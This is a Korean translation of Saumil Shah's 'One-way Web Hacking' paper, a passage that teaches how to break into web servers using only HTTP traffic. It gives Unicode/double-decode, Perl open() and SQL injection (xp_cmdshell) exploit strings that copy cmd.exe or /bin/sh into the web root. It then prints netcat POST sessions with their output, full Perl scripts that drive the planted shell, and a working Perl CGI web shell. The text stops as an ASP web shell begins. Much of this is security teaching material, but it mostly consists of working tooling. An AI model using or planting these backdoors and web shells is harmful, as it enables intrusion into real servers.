내용 1.0 도입 1.1 일반적인웹어플리케이션시스템의구성요소들 1.2 웹어플리케이션시스템에대한 URL 맵핑 2.0 one-way web 해킹에대한순서도 3.0 엔트리포인터찾기 URL 파싱공격 안전하지않은입력파라미터공격 SQL inject
|
|
- 지후 돈
- 6 years ago
- Views:
Transcription
1 One-way Web Hacking Saumil Shah 8th December, 2003 "Necessity is the mother of invention" 편역 : poc@securityproof.net progressfree@hotmail.com * 다소오래된글이지만웹해킹공부에많은도움이될것으로생각합니다.
2 내용 1.0 도입 1.1 일반적인웹어플리케이션시스템의구성요소들 1.2 웹어플리케이션시스템에대한 URL 맵핑 2.0 one-way web 해킹에대한순서도 3.0 엔트리포인터찾기 URL 파싱공격 안전하지않은입력파라미터공격 SQL injection 공격 3.1 명령해석기실행 CMD.EXE에명령 POST하기 /bin/sh에명령 POST하기 POST 절차자동화 4.0 웹기반의 command prompt Perl - perl_shell.cgi ASP - cmdasp.asp PHP - sys.php JSP - cmdexec.jsp 4.1 웹기반의command prompt 설치 create_cmdasp.bat 임의의바이너리파일다시만들기 5.0 파일 uploader ASP - upload.asp 및 upload.inc Perl - upload.cgi PHP - upload.php 6.0 One-Way 권한상승 6.1 Windows/IIS 권한상승
3 6.1.1 Windows 공격툴업로드 idq.dll 권한상승 6.2 Linux/Apache 권한상승 Unix 공격툴업로드 ptrace1.c 권한상승 7.0 웹기반의 SQL Command Prompt 7.1 SQL command prompt 해부 - sqlquery.asp 7.2 예 - IIS 및 MS SQL 서버 7.3 sqlquery.asp 업로드 7.4 웹어플리케이션도용 7.5 sqlquery.asp를통한 SQL query 실행 7.6 저장된프로시저실행 8.0 결론 9.0 참고문헌
4 1.0 도입 One-way web hacking 은웹서버나어플리케이션서버를공격하여침입하기위해순수 HTTP 트래픽에만의존하는 것을말한다. 이테크닉은웹어플리케이션공격의경우방화벽이나 SSL 도무용지물이될수있음을보여주기위한 것이다. 이공격은단지합법적이고유효한 HTTP request 만이들어오는것이허용되고, 단지유효한 HTTP response 만이 방화벽외부로나가는것이허용된다는전제를가지고있다. 나의 one-way web hacking 에대한연구는 2000 년 4 월에시작되었으며, 크래킹을당한웹서버 ( 제한적인방화벽을 가지고있었음 ) 에임의의파일을업로드할필요가생겼다. 그때이후로많은다른테크닉이개발되었고, 이모든 테크닉을모아 one-way web hacking 방법론이만들어지게되었다. One-way web hacking 은 2001 년 Amsterdam, Las Vegas 2001 에서있었던 Blackhat Briefings 에서, 그리고 2002 년 Kuala Lumpur 에서열렸던 HACK 2002 에서발표되었다. 1.1 일반적인웹어플리케이션의구성요소 web 어플리케이션시스템에는 4 가지구성요소가있으며, 그것들은일반적으로웹브라우저를말하는 web client, front-end web server, application server, database server 이다. 다음도표는이구성요소들이어떻게서로함께잘 맞는지보여주고있다.
5 web application server 는스크립트, 오브젝트또는컴파일된바이너리의형태로되어있던모든어플리케이션 로직 (application logic) 을호스팅한다. Front-end web server 는 HTML 의형태및 HTML 을통해웹클라이언트로부터 입력받은것을받고, HTML 페이지의형태로그어플리케이션에의해생성된출력물을전달하는, 외부세계로의 어플리케이션인터페이스로작동한다. 내부적으로는그어플리케이션은처리 (transaction) 를수행하기위해 back-end database server 와상호연결된다. 방화벽은단단하게설정되어있으며, 단지 HTTP request 와외부로나가는 HTML 응답만허용한다. 1.2 웹어플리케이션시스템에대한 URL 맵핑 웹어플리케이션과상호작용하는동안브라우저와웹서버사이를오가는 URL 은전형적으로다음포맷을따른다. server / path / application? parameters 다음도표는 URL 의다른부분들이웹어플리케이션시스템의여러영역으로어떻게맵핑 1 되는지보여준다. 이프로토콜 (http 또는 https) 은방화벽에의해출입이허용되어있다. 서버와경로부분은 front-end web server 에의해파싱된다. URL interpretation( 예를들어, Unicode, doubledecode) 에존재하는어떤취약점들은서버와그 URL 의경로를조작함으로써공격할수있다. 1 역자의홈페이지게시판의경우 :
6 그어플리케이션은설정되고등록되어있는대로어플리케이션서버에의해실행된다. 이부분을조작하는것은 어플리케이션서버에존재하는취약점들 ( 예를들어, JSP servlet handler 를사용한임의의파일을컴파일하고실 행하는 ) 을공격할수있다. 그어플리케이션에제공된파라미터들이적절하게확인되지 (validate) 않으면그어플리케이션에만적용되는취약 점들 (Perl 에서 open() 호출에 pipe " " 문자를삽입하기 ) 을야기할수있다. 만약어떤파라미터가 SQL database query 의일부로사용된다면적절히확인되지않은파라미터들은 SQL injection 공격 ("xp_cmdshell" 와같은저장된프로시저들을사용하여임의의명령을실행 ) 으로이어질수있다. 자세한토론은 "Web Hacking: Attacks and Defense" [1] 의 5 장에서찾을수있다. 2.0 one-way web hack 의순서도 (flowchart) 공격자가취약한웹어플리케이션을발견하고앞에서언급된테크닉들을사용하여공략할수있는예를들어보자. 공격자는임의의명령실행권한을획득했지만제한적인방화벽때문에네트워크안으로더이상을들어갈수없는 상황이다. 이럴때공격을효과적인것으로만들기위해두가지가필수적이다. 1. interactive terminal access - 실행중인명령들이공격당한서버를공략하여그네트워크안으로더진입하기 위해필요. 2. file transfer access 포트스캐너나 rootkit 등과같은공격툴을전송하기위해필요. 단단한방화벽은위의목적들을달성하는것을어렵게만들수있다. 하지만, 불가능한것은아니다. 이제한적인 상황을해결하기위해약간의웹어플리케이션프로그래밍지식으로웹기반의명령프롬프트와파일 uploader 를만들 수있다. 더자세히다루기전에다음도표에나와있는것처럼먼저 one-way hack 의여러단계를살펴보자.
7 3.0 entry point 찾기 one-way hack 은우리가목표웹서버에원격명령실행권한을획득할수있을때시작된다. 우리는웹서버를 공격하는데사용되는일반적인테크닉들중에서어떤것을이용할수있다. 우리는앞에서기술된 URL 맵핑의다른 타입에기반을둔원격명령실행권한을획득하는다양한방법들중의몇가지예를제시한다. 웹서버와어플리케이션 취약점들에대한자세한토론은이글의범위밖의것이다. 우리의목적은목표웹서버의 document root 내에 shell interpreter(/bin/sh, cmd.exe, 등 ) 를이동시켜백도어를 만드는것이다. 이런방법으로우리는 URL 을통해쉘해석기를실행할수있다. 우리는다양한공격테크닉을이용해 백도어를어떻게만들것인가에대한방법을예증하는세가지예를제시한다. 아래의도표는엔트리포인터를찾는데사용되는테크닉들중의몇가지를보여주고있다.
8 3.0.1 Exploiting URL parsing Unicode / Double decode 공격은고전적인 URL parsing 취약점의예이다. 아래의 URL 은웹서버의 document root 내에 있는 scripts/ 디렉토리에명령해석기 cmd.exe 를복사한다. c:\winnt\system32\cmd.exe+c:\inetpub\scripts Exploiting poorly validated input parameters 이예에서, 체크되지않은파라미터가안전하지않은방식으로 open() 호출을사용하여 URL 로부터 Perl CGI script news.cgi 로전달된다. cp+/bin/sh+
9 /usr/local/apache/cgi-bin/sh.cgi shell (/bin/sh) 이 sh.cgi 로 cgi-bin 디렉토리에복사된다 Exploiting SQL injection 다음은어떻게 SQL injection 이데이터베이스서버에저장된프로시저를불러내그저장된프로시저를통해명령을 실행할수있는지를보여준다. 'copy+c:\winnt\system32\cmd.exe+c:\inetpub\scripts\' 3.1 command interpreter 불러오기 명령해석기또는쉘을 web document root 로옮김으로써 backdoor 를만드는목적은 HTTP 상으로원격명령을내릴 수있게하기때문이다. HTTP POST 방법은이목적으로위해가장적절하다. POST 를이용함으로써 input data 는표준 입력상으로 invoked resource 로전달되며, 웹서버는 HTTP 연결상으로표준출력을보냄으로써생성된 output 을 리턴한다. 우리는 POST 를이용해명령해석기로명령을어떻게보내는지그방법을예증할것이다. 이를위해두가지예를 들것이며, 하나는 IIS 나 Windows NT 에서는 CMD.EXE 를, Apache 와 Linux 상에서는 /bin/sh 의복사본인 sh.cgi 를사용하는 것이다 CMD.EXE 에명령 POST 하기 아래는 CMD.EXE 와함께실행되고있는두가지명령을보여주고있으며, 그것은 상으로접근이가능하다. POST 리퀘스트는아래에파란색으로나타나있다. $ nc www1.example.com 80 POST /scripts/cmd.exe HTTP/1.0 Host: www1.example.com
10 Content-length: 17 ver dir c:\ exit HTTP/ OK Server: Microsoft-IIS/4.0 Date: Wed, 08 Dec :13:19 GMT Content-Type: application/octet-stream Microsoft(R) Windows NT(TM) (C) Copyright Microsoft Corp. C:\Inetpub\scripts>ver Windows NT Version 4.0 C:\Inetpub\scripts>dir c:\ Volume in drive C has no label. Volume Serial Number is E43A-2A0A Directory of c:\ 10/04/00 05:28a <DIR> WINNT 10/04/00 05:31a <DIR> Program Files 10/04/00 05:37a <DIR> TEMP 10/04/00 07:01a <DIR> Inetpub 10/04/00 07:01a <DIR> certs 11/28/00 05:12p <DIR> software 12/06/00 03:46p <DIR> src
11 12/07/00 12:50p <DIR> weblogic 12/07/00 12:53p <DIR> weblogic_publish 12/07/99 01:11p <DIR> JavaWebServer2.0 12/07/99 06:49p 134,217,728 pagefile.sys 12/07/99 07:24a <DIR> urlscan 12/07/99 04:55a <DIR> Netscape 13 File(s) 134,217,728 bytes 120,782,848 bytes free C:\Inetpub\scripts>exit $ CMD.EXE 가명령을적절하게받아들이기위해, 웹서버가 CMD.EXE 의 ouput 을적절하게리턴하기위해서는주의가 필요하다. 위의예에서우리는 CMD.EXE 에대한입력스트림이적절하게종결되도록하기위해 exit 명령을 포함시켰다. exit 에의해취해진여분의문자를염두에두고 POST 리퀘스트의 Content-length 역시적절하게 계산되었다 /bin/sh 에명령 POST 하기 아래의예는 /bin/sh 와함께실행되는세가지명령을보여주며, 에접근이 가능하다. $ nc www2.example.com 80 POST /cgi-bin/sh.cgi HTTP/1.0 Host: www2.example.com Content-type: text/html Content-length: 60
12 echo 'Content-type: text/html' echo uname id ls -la / exit HTTP/ OK Date: Thu, 27 Nov :47:20 GMT Server: Apache/ Connection: close Content-Type: text/html Linux uid=99(nobody) gid=99(nobody) groups=99(nobody) total 116 drwxr-xr-x 19 root root 4096 Feb drwxr-xr-x 19 root root 4096 Feb drwxr-xr-x 2 root root 4096 Jun bin drwxr-xr-x 2 root root 4096 Nov 28 02:01 boot drwxr-xr-x 6 root root Nov 28 02:01 dev drwxr-xr-x 29 root root 4096 Nov 28 02:01 etc drwxr-xr-x 8 root root 4096 Dec home drwxr-xr-x 4 root root 4096 Jun lib drwxr-xr-x 2 root root Jun lost+found drwxr-xr-x 4 root root 4096 Jun mnt drwxr-xr-x 3 root root 4096 Feb opt dr-xr-xr-x 37 root root 0 Nov proc drwxr-x--- 9 root root 4096 Feb root drwxr-xr-x 3 root root 4096 Jun sbin
13 drwxrwxr-x 2 root root 4096 Feb src drwxrwxrwt 7 root root 4096 Nov 28 02:01 tmp drwxr-xr-x 4 root root 4096 Feb u01 drwxr-xr-x 21 root root 4096 Feb usr drwxr-xr-x 16 root root 4096 Jun var $ /bin/sh 를 Apache 상으로구동하는것은약간다르다. Apache 는 CGI 프로그램으로부터제대로구성된 HTTP response header 를기대하고, 그래서 output 에 Content-type:test/html 라인을붙여야한다. 두개의 echo 명령이이 목적을위한것이다 POST process 자동화 우리는명령을내리기위해 POST 리퀘스트를준비하고, 그것을웹서버에보내기위한역할을자동적으로수행할 Perl 스크립트 post_cmd.pl 와 post_sh.pl 를준비했다. post_cmd.pl #!/usr/bin/perl # # post_cmd.pl # By Saumil Shah (c) net-square, 2001 # # Able to send arbitrary commands to # and have them executed on the server. This is possible only if # CMD.EXE is placed in %wwwroot%\cgi-bin. (perhaps after running # some.. ah.. exploit) # # Note: If %wwwroot%\cgi-bin is not available, use the /scripts/ # directory in which case, the URL becomes
14 # # # POST can send text to a back-end web program's standard input # This program is used to feed commands to CMD.EXE on a remote # webserver via standard input, and get the output on standard # output, back to us, via HTTP. # # Note: We cannot use this with a form, because forms always # send variable=value pairs back to the back-end web program. We # want to send commands here # # Things to be careful about (and which is why this program helps) # # a) Since we cannot send command line arguments to CMD.EXE (such # as CMD /C), we have to make sure that the last command we # send is an "exit", otherwise, the command shell will not die # on the remote server. # # b) Since we are sending commands via POST, we have to calculate # the number of characters sent, and use that as a Content-length # value. use IO::Socket; use IO::Handle; if(defined($argv[0])) { $server = $ARGV[0]; else { print "usage: post_cmd.pl url [proxy:port] < data\n";
15 print "By Saumil Shah (c) net-square 2001\n\n"; print "post_cmd.pl takes all the data to be POSTed to the URL as\n"; print "standard input. Either enter the data manually and hit ^D (unix)\n"; print "or ^Z (dos) to end; or redirect the data using files or pipes\n\n"; exit(0); if($server =~ /\//o) { $server =~ s/ $server =~ /(.*?)\/(.*)/o; $file = '/'. $2; $server = $1; else { $file = '/'; if(defined($argv[1])) { $file = $ARGV[1]; # capture proxy server $proxy_flag = 0; if(defined($argv[1])) { ($proxy_ip, $proxy_port) = split(/:/, $ARGV[1]); $proxy_flag = 1; # take the commands that we need to send at this stage # Note: if we do not start off the set of commands to be POSTed with
16 # a blank like, any occurence of a ":" in the first line causes the POST # request to fail. This may be an IIS issue or an HTTP = ("\n"); $content_length = 0; while($line = <STDIN>) = (@commands, qq{$line); $content_length += length($line); # comment out the block below if you are meticulous # about putting your own "exit" at the end, or if you want # to use this as a generic POST client $line = = (@commands, $line); $content_length += length($line); # end of block $ = 1; ($target, $port) = split(/:/, $server); if($port == 0) { $port = 80; $server = $target; httpconnect($server, $port); post($file, $server, $port,
17 ## uncomment the while loop below ## to suppress the HTTP headers in the response #while(<s>) { # header # last if($_ eq "\r\n"); # while(<s>) { # body print $_; close(s); exit; sub httpconnect { my ($server, $port) # check for proxy settings if($proxy_flag) { $server = $proxy_ip; $port = $proxy_port; chop($hostname = `hostname`); $proto = getprotobyname('tcp'); $thisaddr = gethostbyname($hostname); $thataddr = gethostbyname($server); $sin = sockaddr_in($port, $thataddr); socket(s, PF_INET, SOCK_STREAM, $proto) die "socket: $!"; connect(s, $sin) or die "connect: $!";
18 select(s); $ = 1; select(stdout); sub post { my ($file, $hostname, $port, my $i; # check for proxy settings if($proxy_flag) { $file = " $hostname. ":". $port. $file; S->autoflush(1); print S 'POST '. $file. " HTTP/1.0\r\n"; print S 'Host: '. $hostname. "\n"; print S "Content-length: $content_length\n"; foreach $i (@commands) { print S $i; print S "\r\n"; post_sh.pl #!/usr/bin/perl # # post_sh.pl # By Saumil Shah (c) net-square, 2001 #
19 # Able to send arbitrary commands to # and have them executed on the server. This is possible only if # sh is placed in cgi-bin. (perhaps after running some.. ah.. exploit) # # POST can send text to a back-end web program's standard input # This program is used to feed commands to sh on a remote # webserver via standard input, and get the output on standard # output, back to us, via HTTP. # # Note: We cannot use this with a form, because forms always # send variable=value pairs back to the back-end web program. We # want to send commands here # # Things to be careful about (and which is why this program helps) # # a) We have to make sure that the last command we send is an "exit" # otherwise, the command shell will not die # on the remote server. # # b) Since we are sending commands via POST, we have to calculate # the number of characters sent, and use that as a Content-length # value. use IO::Socket; use IO::Handle; if(defined($argv[0])) { $server = $ARGV[0]; else {
20 print "usage: post_sh.pl url < data\n"; print "By Saumil Shah (C) net-square, 2001\n\n"; print "post_sh.pl takes all the data to be POSTed to the URL as\n"; print "standard input. Either enter the data manually and hit ^D (unix)\n"; print "or ^Z (dos) to end; or redirect the data using files or pipes\n\n"; exit(0); if($server =~ /\//o) { $server =~ s/ $server =~ /(.*?)\/(.*)/o; $file = '/'. $2; $server = $1; else { $file = '/'; if(defined($argv[1])) { $file = $ARGV[1]; # take the commands that we need to send at this stage # Note: if we do not start off the set of commands to be POSTed with # a blank like, any occurence of a ":" in the first line causes the POST # request to fail. Also, Apache requires that a proper HTTP header be # returned, otherwise it throws a Server Internal error. The commands # POSTed, will still run anyway, but we will not see any output from # standard output
21 @commands = ("\n", "\necho 'Content-type: text/html'\n", "echo\n"); $content_length = length($commands[1]) + length($commands[2]); while($line = <STDIN>) = (@commands, qq{$line); $content_length += length($line); # comment out the block below if you are meticulous # about putting your own "exit" at the end, or if you want # to use this as a generic POST client $line = = (@commands, $line); $content_length += length($line); # end of block $ = 1; ($target, $port) = split(/:/, $server); if($port == 0) { $port = 80; $server = $target; httpconnect($server, $port); post($file, $server, ## uncomment the while loop below ## to suppress the HTTP headers in the response #while(<s>) { # header
22 # last if($_ eq "\r\n"); # while(<s>) { # body print $_; close(s); exit; sub httpconnect { my ($server, $port) chop($hostname = `hostname`); $proto = getprotobyname('tcp'); $thisaddr = gethostbyname($hostname); $thataddr = gethostbyname($server); $sin = sockaddr_in($port, $thataddr); socket(s, PF_INET, SOCK_STREAM, $proto) die "socket: $!"; connect(s, $sin) or die "connect: $!"; select(s); $ = 1; select(stdout); sub post { my ($file, $hostname, my $i; S->autoflush(1);
23 print S 'POST '. $file. " HTTP/1.0\r\n"; print S 'Host: '. $hostname. "\n"; print S "Content-type: text/html\n"; print S "Content-length: $content_length\n"; foreach $i (@commands) { print S $i; print S "\r\n"; post_cmd.pl 를구동시키기위한문장은다음과같다. usage: post_cmd.pl url [proxy:port] < data By Saumil Shah (c) net-square 2001 post_cmd.pl takes all the data to be POSTed to the URL as standard input. Either enter the data manually and hit ^D (unix) or ^Z (dos) to end; or redirect the data using files or pipes post_cmd.pl 은역시 HTTP proxy 상으로 POST 리퀘스트를터널링할수있도록쓰여졌다. post_sh.pl 역시비슷하다. 아래의예는우리자신의 POST 리퀘스트를형성시키는것대시 Perl 스크립트를사용해서도같은결과가나오는것을 보여준다. post_cmd.pl 의출력 $./post_cmd.pl ver dir c:\ ^D HTTP/ OK Server: Microsoft-IIS/4.0
24 Date: Wed, 08 Dec :05:46 GMT Content-Type: application/octet-stream Microsoft(R) Windows NT(TM) (C) Copyright Microsoft Corp. C:\Inetpub\scripts>ver Windows NT Version 4.0 C:\Inetpub\scripts>dir c:\ Volume in drive C has no label. Volume Serial Number is E43A-2A0A Directory of c:\ 10/04/00 05:28a <DIR> WINNT 10/04/00 05:31a <DIR> Program Files 10/04/00 05:37a <DIR> TEMP 10/04/00 07:01a <DIR> Inetpub 10/04/00 07:01a <DIR> certs 11/28/00 05:12p <DIR> software 12/06/00 03:46p <DIR> src 12/07/00 12:50p <DIR> weblogic 12/07/00 12:53p <DIR> weblogic_publish 12/07/99 01:11p <DIR> JavaWebServer2.0 12/07/99 06:49p 134,217,728 pagefile.sys 12/07/99 07:24a <DIR> urlscan 12/07/99 04:55a <DIR> Netscape 13 File(s) 134,217,728 bytes 120,782,848 bytes free
25 C:\Inetpub\scripts>exit $ post_sh.pl 의출력 $./post_sh.pl uname id ls -la / ^D HTTP/ OK Date: Thu, 27 Nov :43:54 GMT Server: Apache/ Connection: close Content-Type: text/html Linux uid=99(nobody) gid=99(nobody) groups=99(nobody) total 116 drwxr-xr-x 19 root root 4096 Feb drwxr-xr-x 19 root root 4096 Feb drwxr-xr-x 2 root root 4096 Jun bin drwxr-xr-x 2 root root 4096 Nov 28 02:01 boot drwxr-xr-x 6 root root Nov 28 02:01 dev drwxr-xr-x 29 root root 4096 Nov 28 02:01 etc drwxr-xr-x 8 root root 4096 Dec home drwxr-xr-x 4 root root 4096 Jun lib drwxr-xr-x 2 root root Jun lost+found drwxr-xr-x 4 root root 4096 Jun mnt
26 drwxr-xr-x 3 root root 4096 Feb opt dr-xr-xr-x 37 root root 0 Nov proc drwxr-x--- 9 root root 4096 Feb root drwxr-xr-x 3 root root 4096 Jun sbin drwxrwxr-x 2 root root 4096 Feb src drwxrwxrwt 7 root root 4096 Nov 28 02:01 tmp drwxr-xr-x 4 root root 4096 Feb u01 drwxr-xr-x 21 root root 4096 Feb usr drwxr-xr-x 16 root root 4096 Jun var $ 이와같이우리는 HTTP POST 리퀘스트를사용하여목표웹서버에여러명령을내릴수있다. 이개념은 4.1 섹션에서 다룬것처럼웹서버에임의의파일들을만들기위해사용될것이다. 4.0 웹기반의 command prompt 원격으로명령을실행할수있는권한을획득한이후우리는목표웹서버에명령을상호내릴수있을필요가있다. 이것을하는일반적인방법들은쉘을스포닝하고그것을목표웹서버상의 TCP 포트에바인딩시키거나또는 TCP listener 에쉘연결을역으로실행시키거나, 또는원격 X display 에 2 xterm 을실행시키는것이다. 하지만, 단지 HTTP 리퀘스트만을 incoming traffic 으로허용하고, HTTP response 를 outbound traffic 으로허용하는방화벽이설정되어 있다면그런테크닉을제대로작동하지않을것이다. 그래서이제한사항을극복하기위해 웹기반의 command prompt 의예를제시한다. 웹기반의 command prompt 는 semi-interactive shell terminal 의기능성을 HTML 형식을통해제공한다. 이형식은 <INPUT> 필더처럼명령들을받아들이고그결과를사전에지정된양식의텍스트로출력한다. 웹기반의 command prompt 가 semi-interactive 한지의이유는현재의작업디렉토리와시스템환경등과같은터미널의상태를저장하지 않기때문이다. 이런것은 session 기반의 HTML 양식을통해구현될수있으나이것은이글의논의밖의것이다. 2 Inside-Out Attacks - Patrick Heim, Saumil Shah, 1999, xterm display :0.0 &
27 웹기반의 command prompt 와같은것에의해실행된명령들은웹서버의프로세스의권한을가질것이다. 전형적으로, Apache 가실행되고있는 Unix 시스템에대해 uid 는 nobody 이며, 반면 IIS 가실행되고있는 Windows 시스템의경우권한은 "IUSR_machinename" 또는 "IWAM_machinename" 이다. 아래에주어진것은웹기반의 command prompt 의 4 가지예이다 Perl - perl_shell.cgi Perl 및 cgi-lib.pl 을사용하는다음스크립트는 semi-interactive web based command prompt 를제공한다. #!/usr/bin/perl require "cgi-lib.pl"; print &PrintHeader; print "<FORM ACTION=perl_shell.cgi METHOD=GET>\n"; print "<INPUT NAME=cmd TYPE=TEXT>\n"; print "<INPUT TYPE=SUBMIT VALUE=Run>\n"; print "</FORM>\n"; &ReadParse(*in); if($in{'cmd' ne "") { print "<PRE>\n$in{'cmd'\n\n"; print `/bin/bash -c "$in{'cmd'"`; print "</PRE>\n"; cgi-lib.pl $cgi_lib'writefiles = 1;
28 $cgi_lib'filepre = "cgi-lib"; $cgi_lib'bufsize = 8192; $cgi_lib'maxbound = 100; $cgi_lib'headerout = 0; sub ReadParse { local ($perlwarn); $perlwarn = $^W; $^W = 0; local (*in) = shift local (*incfn, *inct, *insfn) local ($len, $type, $meth, $errflag, $cmdflag, $got, $name); binmode(stdin); binmode(stdout); binmode(stderr); $type = $ENV{'CONTENT_TYPE'; $len = $ENV{'CONTENT_LENGTH'; $meth = $ENV{'REQUEST_METHOD'; if (!defined $meth $meth eq '' $meth eq 'GET' $meth eq 'HEAD' $type eq 'application/x-www-form-urlencoded') { local ($key, $val, $i); if (!defined $meth $meth eq '') { $in = $ENV{'QUERY_STRING'; $cmdflag = 1; elsif($meth eq 'GET' $meth eq 'HEAD') { $in = $ENV{'QUERY_STRING'; elsif ($meth eq 'POST') { if (($got = read(stdin, $in, $len)!= $len))
29 {$errflag="short Read: wanted $len, got $got\n";; else { &CgiDie("cgi-lib.pl: Unknown request method: = split(/[&;]/,$in); if $cmdflag; foreach $i (0.. $#in) { $in[$i] =~ s/\+/ /g; ($key, $val) = split(/=/,$in[$i],2); $key =~ s/%([a-fa-f0-9]{2)/pack("c",hex($1))/ge; $val =~ s/%([a-fa-f0-9]{2)/pack("c",hex($1))/ge; $in{$key.= "\0" if (defined($in{$key)); $in{$key.= $val; elsif ($ENV{'CONTENT_TYPE' =~ m#^multipart/form-data#) { $errflag =!(eval <<'END_MULTIPART'); local ($buf, $boundary, $cd, $ct, $fname, $ctype, $blen); local ($bpos, $lpos, $left, $amt, $fn, $ser); local ($bufsize, $maxbound, $writefiles) = ($cgi_lib'bufsize, $cgi_lib'maxbound, $cgi_lib'writefiles); $buf = ''; ($boundary) = $type =~ /boundary="([^"]+)"/; #"; ($boundary) = $type =~ /boundary=(\s+)/ unless $boundary; &CgiDie ("Boundary not provided: probably a bug in your server") unless $boundary; $boundary = "--". $boundary; $blen = length ($boundary); if ($ENV{'REQUEST_METHOD' ne 'POST') { &CgiDie("Invalid request method for multipart/form-data: $meth\n");
30 if ($writefiles) { local($me); stat ($writefiles); $writefiles = "/tmp" unless -d _ && -w _; $writefiles.= "/$cgi_lib'filepre"; $left = $len; PART: while (1) { die $@ if $errflag; $amt = ($left > $bufsize+$maxbound-length($buf)? $bufsize+$maxbound-length($buf): $left); $errflag = (($got = read(stdin, $buf, $amt, length($buf)))!= $amt); die "Short Read: wanted $amt, got $got\n" if $errflag; $left -= $amt; $in{$name.= "\0" if defined $in{$name; $in{$name.= $fn if $fn; $name=~/([-\w]+)/; if (defined $1) { $insfn{$1.= "\0" if defined $insfn{$1; $insfn{$1.= $fn if $fn; BODY: while (($bpos = index($buf, $boundary)) == -1) { if ($left == 0 && $buf eq '') { foreach $value (values %insfn) { unlink(split("\0",$value)); &CgiDie("cgi-lib.pl: reached end of input while seeking boundary ". "of multipart. Format of CGI input is wrong.\n");
31 die if $errflag; if ($name) { if ($fn) { print FILE substr($buf, 0, $bufsize); else { $in{$name.= substr($buf, 0, $bufsize); $buf = substr($buf, $bufsize); $amt = ($left > $bufsize? $bufsize : $left); $errflag = (($got = read(stdin, $buf, $amt, length($buf)))!= $amt); die "Short Read: wanted $amt, got $got\n" if $errflag; $left -= $amt; if (defined $name) { if ($fn) { print FILE substr($buf, 0, $bpos-2); else { $in {$name.= substr($buf, 0, $bpos-2); close (FILE); last PART if substr($buf, $bpos + $blen, 2) eq "--"; substr($buf, 0, $bpos+$blen+2) = ''; $amt = ($left > $bufsize+$maxbound-length($buf)? $bufsize+$maxbound-length($buf) : $left); $errflag = (($got = read(stdin, $buf, $amt, length($buf)))!= $amt); die "Short Read: wanted $amt, got $got\n" if $errflag; $left -= $amt; undef $head; undef $fn; HEAD: while (($lpos = index($buf, "\r\n\r\n")) == -1) { if ($left == 0 && $buf eq '') { foreach $value (values %insfn) { unlink(split("\0",$value));
32 &CgiDie("cgi-lib: reached end of input while seeking end of ". "headers. Format of CGI input is wrong.\n$buf"); die if $errflag; $head.= substr($buf, 0, $bufsize); $buf = substr($buf, $bufsize); $amt = ($left > $bufsize? $bufsize : $left); $errflag = (($got = read(stdin, $buf, $amt, length($buf)))!= $amt); die "Short Read: wanted $amt, got $got\n" if $errflag; $left -= $amt; $head.= substr($buf, 0, $lpos+2); push (@in, = split("\r\n", $head); ($cd) = grep ($ct) = grep ($name) = $cd =~ /\bname="([^"]+)"/i; #"; ($name) = $cd =~ /\bname=([^\s:;]+)/i unless defined $name; ($fname) = $cd =~ /\bfilename="([^"]*)"/i; #"; ($fname) = $cd =~ /\bfilename=([^\s:;]+)/i unless defined $fname; $incfn{$name.= (defined $in{$name? "\0" : ""). (defined $fname? $fname : ""); ($ctype) = $ct =~ /^\s*content-type:\s*"([^"]+)"/i; #"; ($ctype) = $ct =~ /^\s*content-type:\s*([^\s:;]+)/i unless defined $ctype; $inct{$name.= (defined $in{$name? "\0" : ""). $ctype; if ($writefiles && defined $fname) { $fn = $fname; $fn =~ tr/\"//d; $fn =~ tr/\\/\//;
33 @dummy = split(/\//, $fn); $fn = $dummy[$#dummy]; open (FILE, ">$fn") &CgiDie("Couldn't open $fn\n"); binmode (FILE); substr($buf, 0, $lpos+4) = ''; undef $fname; undef $ctype; 1; END_MULTIPART if ($errflag) { local ($errmsg, $value); $errmsg = $@ $errflag; foreach $value (values %insfn) { unlink(split("\0",$value)); &CgiDie($errmsg); else { else { &CgiDie("cgi-lib.pl: Unknown Content-type: $ENV{'CONTENT_TYPE'\n"); $insfn = $insfn; $incfn = $incfn; $inct = $inct; $^W = $perlwarn; return ($errflag? undef : scalar(@in)); sub PrintHeader {
34 return "Content-type: text/html\n\n"; sub HtmlTop { local ($title) return <<END_OF_TEXT; <html> <head> <title>$title</title> </head> <body> <h1>$title</h1> END_OF_TEXT sub HtmlBot { return "</body>\n</html>\n"; sub SplitParam { local ($param) local (@params) = split ("\0", $param); return : $params[0]); sub MethGet { return (defined $ENV{'REQUEST_METHOD' && $ENV{'REQUEST_METHOD' eq "GET"); sub MethPost { return (defined $ENV{'REQUEST_METHOD' && $ENV{'REQUEST_METHOD' eq "POST");
35 sub MyBaseUrl { local ($ret, $perlwarn); $perlwarn = $^W; $^W = 0; $ret = ' $ENV{'SERVER_NAME'. ($ENV{'SERVER_PORT'!= 80? ":$ENV{'SERVER_PORT'" : ''). $ENV{'SCRIPT_NAME'; $^W = $perlwarn; return $ret; sub MyFullUrl { local ($ret, $perlwarn); $perlwarn = $^W; $^W = 0; $ret = ' $ENV{'SERVER_NAME'. ($ENV{'SERVER_PORT'!= 80? ":$ENV{'SERVER_PORT'" : ''). $ENV{'SCRIPT_NAME'. $ENV{'PATH_INFO'. (length ($ENV{'QUERY_STRING')? "?$ENV{'QUERY_STRING'" : ''); $^W = $perlwarn; return $ret; sub MyURL { return &MyBaseUrl; sub CgiError { local (@msg) local ($i,$name); if (!@msg) { $name = = ("Error: script $name encountered fatal error\n");
36 ; if (!$cgi_lib'headerout) { #') print &PrintHeader; print "<html>\n<head>\n<title>$msg[0]</title>\n</head>\n<body>\n"; print "<h1>$msg[0]</h1>\n"; foreach $i (1.. $#msg) { print "<p>$msg[$i]</p>\n"; $cgi_lib'headerout++; sub CgiDie { local (@msg) &CgiError (@msg); sub PrintVariables { local (*in) == 1; local (%in) > 1; local ($out, $key, $output); $output = "\n<dl compact>\n"; foreach $key (sort keys(%in)) { foreach (split("\0", $in{$key)) { ($out = $_) =~ s/\n/<br>\n/g; $output.= "<dt><b>$key</b>\n <dd>:<i>$out</i>:<br>\n"; $output.= "</dl>\n"; return $output;
37 sub PrintEnv { &PrintVariables(*ENV); $cgi_lib'writefiles = $cgi_lib'writefiles; $cgi_lib'bufsize = $cgi_lib'bufsize ; $cgi_lib'maxbound $cgi_lib'filepre = $cgi_lib'maxbound; = $cgi_lib'filepre; 1; ASP - cmdasp.asp 다음 ASP 스크립트는 IIS 가실행되고있는 Windows 서버들을위한웹기반의 command prompt 이다. cmdasp.asp 는 Maceo(maceo(at)dogmile.com) 에의해쓰여진원래스크립트의수정버전이다. <% Dim oscript, oscriptnet, ofilesys, ofile, szcmd, sztempfile
